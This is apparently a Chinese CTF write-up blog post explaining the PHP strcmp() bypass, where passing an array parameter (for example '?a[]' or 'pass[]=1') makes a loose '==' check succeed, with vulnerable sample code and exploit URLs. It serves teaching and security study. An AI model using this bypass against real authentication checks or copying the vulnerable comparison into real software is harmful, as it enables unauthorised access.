代码审计strcmp漏洞

//题目地址http://123.206.87.240:9009/6.php
//把变量a构造成数组就可以了,利用strcmp的漏洞原理
<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else die()
print 'No';
//函数输出一条消息,并退出当前脚本。
//die函数是 exit() 函数的别名。
}
?>
//http://123.206.87.240:9009/6.php?a[]

php strcmp bypass漏洞

 

在PHP 5.3版本以上的strcmp()有一个bypass漏洞,在说这个漏洞之前我们先来看一下strcmp()这个函数。

1
int strcmp ( string $str1 , string $str2 )

  (注意该比较区分大小写。)

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

测试代码如下:

1
2
3
4
5
6
7
8
9
10
<?php
$password = $_GET['pass'];
 
if (strcmp('websec',$password)){
    echo "No!";
}
else{
    echo "Success!";
}
?>

 strcmp()在比较字符串和数组的时候直接返回0,这样通过把目标变量设置成数组就可以绕过该函数的限制

http://127.0.0.1/str.php?pass[]=1

//摘自https://www.cnblogs.com/websec/p/7099687.html

 

posted @ 2019-12-19 20:13  adsry  阅读(477)  评论(0)    收藏  举报